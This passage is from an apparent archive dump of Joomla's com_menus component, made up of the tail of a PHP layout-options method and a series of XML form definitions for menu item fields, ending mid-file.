				$o->request     = array('option' => $component, 'view' => $view);

				// Only add the layout request argument if not the default layout.
				if ($layout != 'default')
				{
					// If the template is set, add in format template:layout so we save the template name
					$o->request['layout'] = isset($templateName[$file]) ? $templateName[$file] . ':' . $layout : $layout;
				}

				// Load layout metadata if it exists.
				if (is_file($file))
				{
					// Attempt to load the xml file.
					if ($xml = simplexml_load_file($file))
					{
						// Look for the first view node off of the root node.
						if ($menu = $xml->xpath('layout[1]'))
						{
							$menu = $menu[0];

							// If the view is hidden from the menu, discard it and move on to the next view.
							if (!empty($menu['hidden']) && $menu['hidden'] == 'true')
							{
								unset($xml);
								unset($o);
								continue;
							}

							// Populate the title and description if they exist.
							if (!empty($menu['title']))
							{
								$o->title = trim((string) $menu['title']);
							}

							if (!empty($menu->message[0]))
							{
								$o->description = trim((string) $menu->message[0]);
							}
						}
					}
				}

				// Add the layout to the options array.
				$options[] = $o;
			}
		}

		return $options;
	}
}
com_menus/models/forms/item_url.xml000060400000004253152455305260013513 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset name="menu-options" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
		>

			<field 
				name="menu-anchor_title"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC" 
			/>

			<field 
				name="menu-anchor_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC" 
			/>

			<field 
				name="menu-anchor_rel" 
				type="list"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_REL_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_REL_DESC"
				default=""
				>
				<option value="">JNONE</option>
				<option value="alternate"/>
				<option value="author"/>
				<option value="bookmark"/>
				<option value="help"/>
				<option value="license"/>
				<option value="next"/>
				<option value="nofollow"/>
				<option value="noopener"/>
				<option value="noreferrer"/>
				<option value="prefetch"/>
				<option value="prev"/>
				<option value="search"/>
				<option value="sponsored"/>
				<option value="tag"/>
				<option value="ugc"/>
			</field>

			<field 
				name="menu_image" 
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC" 
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field 
				name="menu_text" 
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" 
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_EXTERNAL_URL" />
</form>
com_menus/models/forms/itemadmin_separator.xml000060400000001253152455305260015717 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<!-- Text separator type menu item does not have a navigation -->
		<field
			name="link"
			type="hidden"
		/>

		<field
			name="browserNav"
			type="hidden"
			default="0"
		/>

		<fields name="params">
			<field
				name="text_separator"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_TEXT_SEPARATOR_LABEL"
				description="COM_MENUS_ITEM_FIELD_TEXT_SEPARATOR_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fields>
	</fieldset>

	<help key="JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR" />
</form>
com_menus/models/forms/itemadmin_component.xml000060400000003003152455305260015714 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL">
		<fieldset name="menu-options"
			label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
		>

			<field 
				name="menu-anchor_title" 
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC" 
			/>

			<field
				name="menu-anchor_css" 
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC" 
			/>

			<field 
				name="menu_image" 
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC" 
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field 
				name="menu_text" 
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" 
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
com_menus/models/forms/item_heading.xml000060400000003022152455305260014301 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset name="menu-options"
			label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
		>
			<field 
				name="menu-anchor_title" 
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC" 
			/>

			<field 
				name="menu-anchor_css" 
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC" 
			/>

			<field 
				name="menu_image" 
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC" 
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field 
				name="menu_text" 
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" 
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_MENU_ITEM_HEADING" />
</form>
com_menus/models/forms/item_alias.xml000060400000004315152455305260014001 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<!-- Add fields to the request variables for the layout. -->

	<fields name="params">

		<fieldset name="aliasoptions">
			<field
				name="aliasoptions"
				type="modal_menu"
				label="COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL"
				description="COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC"
				clientid="0"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="alias_redirect"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_ALIAS_REDIRECT_LABEL"
				description="COM_MENUS_ITEM_FIELD_ALIAS_REDIRECT_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>

		<fieldset name="menu-options"
				label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
			>

			<field
				name="menu-anchor_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC"
			/>

			<field
				name="menu-anchor_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC"
			/>

			<field
				name="menu_image"
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC"
			/>

			<field
				name="menu_image_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC"
			/>

			<field
				name="menu_text"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				default="1"
				filter="integer"
				class="btn-group btn-group-yesno"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS" />
</form>
com_menus/models/forms/item.xml000060400000011253152455305260012627 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="hidden"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			filter="int"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="COM_MENUS_ITEM_FIELD_TITLE_LABEL"
			description="COM_MENUS_ITEM_FIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="alias"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="40"
		/>

		<field
			name="note"
			type="text"
			label="JFIELD_NOTE_LABEL"
			description="COM_MENUS_ITEM_FIELD_NOTE_DESC"
			maxlength="255"
			class="span12"
			size="40"
		/>

		<field
			name="link"
			type="link"
			label="COM_MENUS_ITEM_FIELD_LINK_LABEL"
			description="COM_MENUS_ITEM_FIELD_LINK_DESC"
			readonly="true"
			class="input-xxlarge"
			size="50"
		/>

		<field
			name="menutype"
			type="menu"
			label="COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL"
			description="COM_MENUS_ITEM_FIELD_ASSIGNED_DESC"
			required="true"
			clientid="0"
			size="1"
			>
			<option value="">COM_MENUS_SELECT_MENU</option>
		</field>

		<field
			name="type"
			type="menutype"
			label="COM_MENUS_ITEM_FIELD_TYPE_LABEL"
			description="COM_MENUS_ITEM_FIELD_TYPE_DESC"
			class="input-medium"
			required="true"
			size="40"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			id="published"
			class="chzn-color-state"
			size="1"
			default="1"
			filter="integer"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="parent_id"
			type="menuparent"
			label="COM_MENUS_ITEM_FIELD_PARENT_LABEL"
			description="COM_MENUS_ITEM_FIELD_PARENT_DESC"
			default="1"
			filter="int"
			clientid="0"
			size="1"
			>
			<option value="1">COM_MENUS_ITEM_ROOT</option>
		</field>

		<field
			name="menuordering"
			type="menuordering"
			label="COM_MENUS_ITEM_FIELD_ORDERING_LABEL"
			description="COM_MENUS_ITEM_FIELD_ORDERING_DESC"
			filter="int"
			size="1">
		</field>

		<field
			name="component_id"
			type="hidden"
			filter="int"
		/>

		<field
			name="browserNav"
			type="list"
			label="COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL"
			description="COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC"
			default="0"
			filter="int"
			>
			<option value="0">COM_MENUS_FIELD_VALUE_PARENT</option>
			<option value="1">COM_MENUS_FIELD_VALUE_NEW_WITH_NAV</option>
			<option value="2">COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			id="access"
			filter="integer"
			/>

		<field
			name="template_style_id"
			type="templatestyle"
			label="COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL"
			description="COM_MENUS_ITEM_FIELD_TEMPLATE_DESC"
			client="site"
			filter="int"
			showon="type!:alias[OR]params.alias_redirect:0"
			>
			<option value="0">JOPTION_USE_DEFAULT</option>
		</field>

		<field
			name="home"
			type="radio"
			label="COM_MENUS_ITEM_FIELD_HOME_LABEL"
			description="COM_MENUS_ITEM_FIELD_HOME_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_MENUS_ITEM_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="path"
			type="hidden"
			filter="unset"
		/>

		<field
			name="level"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="lft"
			type="hidden"
			filter="unset"
		/>

		<field
			name="rgt"
			type="hidden"
			filter="unset"
		/>

		<field
			name="toggle_modules_assigned"
			type="radio"
			label="COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED_LABEL"
			description="COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			filter="integer"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="toggle_modules_published"
			type="radio"
			label="COM_MENUS_ITEM_FIELD_HIDE_UNPUBLISHED_LABEL"
			description="COM_MENUS_ITEM_FIELD_HIDE_UNPUBLISHED_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			filter="integer"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fields name="params">
	</fields>
</form>
com_menus/models/forms/itemadmin_alias.xml000060400000003604152455305260015012 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<!-- Add fields to the request variables for the layout. -->
	<fields name="params">
		<fieldset name="aliasoptions">
			<field
				name="aliasoptions"
				type="modal_menu"
				label="COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL"
				description="COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC"
				clientid="1"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>

		<fieldset
			name="menu-options"
			label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
		>

			<field
				name="menu-anchor_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC"
			/>

			<field
				name="menu-anchor_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC"
			/>

			<field
				name="menu_image"
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC"
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field
				name="menu_text"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" 
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS"/>
</form>
com_menus/models/forms/itemadmin_heading.xml000060400000003310152455305260015312 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<!-- Heading type menu item does not have a navigation -->
		<field
			name="link"
			type="hidden"
		/>

		<field
			name="browserNav"
			type="hidden"
			default="0"
		/>
	</fieldset>

	<fields name="params">
		<fieldset name="menu-options" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL">
			<field
				name="menu-anchor_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC"
			/>

			<field
				name="menu-anchor_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC"
			/>

			<field
				name="menu_image"
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC"
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field
				name="menu_text"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_MENU_ITEM_HEADING"/>
</form>
com_menus/models/forms/item_separator.xml000060400000002542152455305260014710 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params">
		<fieldset name="menu-options"
			label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
		>

			<field 
				name="menu-anchor_css" 
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC" 
			/>

			<field 
				name="menu_image" 
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC" 
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field 
				name="menu_text" 
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" 
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
	<help key="JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR" />
</form>
com_menus/models/forms/item_component.xml000060400000007016152455305260014713 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL"
	>
		<fieldset name="menu-options" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL">

			<field
				name="menu-anchor_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC"
			/>

			<field
				name="menu-anchor_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC"
			/>

			<field
				name="menu_image"
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC"
			/>

			<field
				name="menu_image_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC"
			/>

			<field
				name="menu_text"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC"
				class="btn-group btn-group-yesno"
				default="1" filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="menu_show"
				type="radio"
				label="COM_MENUS_ITEM_FIELD_MENU_SHOW_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_SHOW_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>

		<fieldset name="page-options" label="COM_MENUS_PAGE_OPTIONS_LABEL">

			<field
				name="page_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC"
				useglobal="true"
			/>

			<field
				name="show_page_heading"
				type="list"
				label="COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL"
				description="COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC"
				class="chzn-color"
				default=""
				useglobal="true"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="page_heading"
				type="text"
				label="COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL"
				description="COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC"
			/>

			<field
				name="pageclass_sfx"
				type="text"
				label="COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL"
				description="COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC"
			/>

		</fieldset>

		<fieldset name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
			<field
				name="menu-meta_description"
				type="textarea"
				label="JFIELD_META_DESCRIPTION_LABEL"
				description="JFIELD_META_DESCRIPTION_DESC"
				rows="3"
				cols="40"
			/>

			<field
				name="menu-meta_keywords"
				type="textarea"
				label="JFIELD_META_KEYWORDS_LABEL"
				description="JFIELD_META_KEYWORDS_DESC"
				rows="3"
				cols="40"
			/>

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>

			<field
				name="secure"
				type="list"
				label="COM_MENUS_ITEM_FIELD_SECURE_LABEL"
				description="COM_MENUS_ITEM_FIELD_SECURE_DESC"
				default="0"
				filter="integer"
				>
				<option value="-1">JOFF</option>
				<option value="1">JON</option>
				<option value="0">COM_MENUS_FIELD_VALUE_IGNORE</option>
			</field>
		</fieldset>

	</fields>

</form>
com_menus/models/forms/itemadmin.xml000060400000006451152455305260013644 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="hidden"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			filter="int"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="COM_MENUS_ITEM_FIELD_TITLE_LABEL"
			description="COM_MENUS_ITEM_FIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="alias"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="40"
		/>

		<field
			name="note"
			type="text"
			label="JFIELD_NOTE_LABEL"
			description="COM_MENUS_ITEM_FIELD_NOTE_DESC"
			maxlength="255"
			class="span12"
			size="40"
		/>

		<field
			name="link"
			type="link"
			label="COM_MENUS_ITEM_FIELD_LINK_LABEL"
			description="COM_MENUS_ITEM_FIELD_LINK_DESC"
			readonly="true"
			class="input-xxlarge"
			size="50"
		/>

		<field
			name="menutype"
			type="menu"
			label="COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL"
			description="COM_MENUS_ITEM_FIELD_ASSIGNED_DESC"
			required="true"
			clientid="1"
			size="1"
			>
			<option value="">COM_MENUS_SELECT_MENU</option>
		</field>

		<field
			name="type"
			type="menutype"
			label="COM_MENUS_ITEM_FIELD_TYPE_LABEL"
			description="COM_MENUS_ITEM_FIELD_TYPE_DESC"
			class="input-medium"
			required="true"
			size="40"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			id="published"
			size="1"
			default="1"
			filter="integer"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="parent_id"
			type="menuparent"
			label="COM_MENUS_ITEM_FIELD_PARENT_LABEL"
			description="COM_MENUS_ITEM_FIELD_PARENT_DESC"
			default="1"
			filter="int"
			clientid="1"
			size="1"
			>
			<option value="1">COM_MENUS_ITEM_ROOT</option>
		</field>

		<field
			name="menuordering"
			type="menuordering"
			label="COM_MENUS_ITEM_FIELD_ORDERING_LABEL"
			description="COM_MENUS_ITEM_FIELD_ORDERING_DESC"
			filter="int"
			size="1"
		/>

		<field
			name="component_id"
			type="hidden"
			filter="int"
		/>

		<field
			name="browserNav"
			type="list"
			label="COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL"
			description="COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC"
			default="0"
			filter="int"
			>
			<option value="0">COM_MENUS_FIELD_VALUE_PARENT</option>
			<option value="1">COM_MENUS_FIELD_VALUE_NEW_WITH_NAV</option>
		</field>

		<field
			name="home"
			type="hidden"
			default="0"
		/>

		<field
			name="access"
			type="hidden"
			id="access"
			default="0"
		/>

		<field
			name="template_style_id"
			type="hidden"
			default="0"
		/>

		<field
			name="language"
			type="hidden"
			default="*"
		/>

		<field
			name="path"
			type="hidden"
			filter="unset"
		/>

		<field
			name="level"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="lft"
			type="hidden"
			filter="unset"
		/>

		<field
			name="rgt"
			type="hidden"
			filter="unset"
		/>
	</fieldset>

	<fields name="params">
	</fields>
</form>
com_menus/models/forms/itemadmin_container.xml000060400000003646152455305260015711 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<!-- Container type menu item does not have a navigation -->
		<field
			name="link"
			type="hidden"
		/>

		<field
			name="browserNav"
			type="hidden"
			default="0"
		/>
	</fieldset>

	<fields name="params">
		<fieldset name="menu-options" label="COM_MENUS_LINKTYPE_OPTIONS_LABEL">
			<field
				name="menu-anchor_title"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC"
			/>

			<field
				name="menu-anchor_css"
				type="text"
				label="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC"
			/>

			<field
				name="menu_image"
				type="media"
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC"
			/>

			<field 
				name="menu_image_css"
				type="text" 
				label="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_LABEL"
				description="COM_MENUS_ITEM_FIELD_MENU_IMAGE_CSS_DESC" 
			/>

			<field
				name="menu_text"
				type="radio"
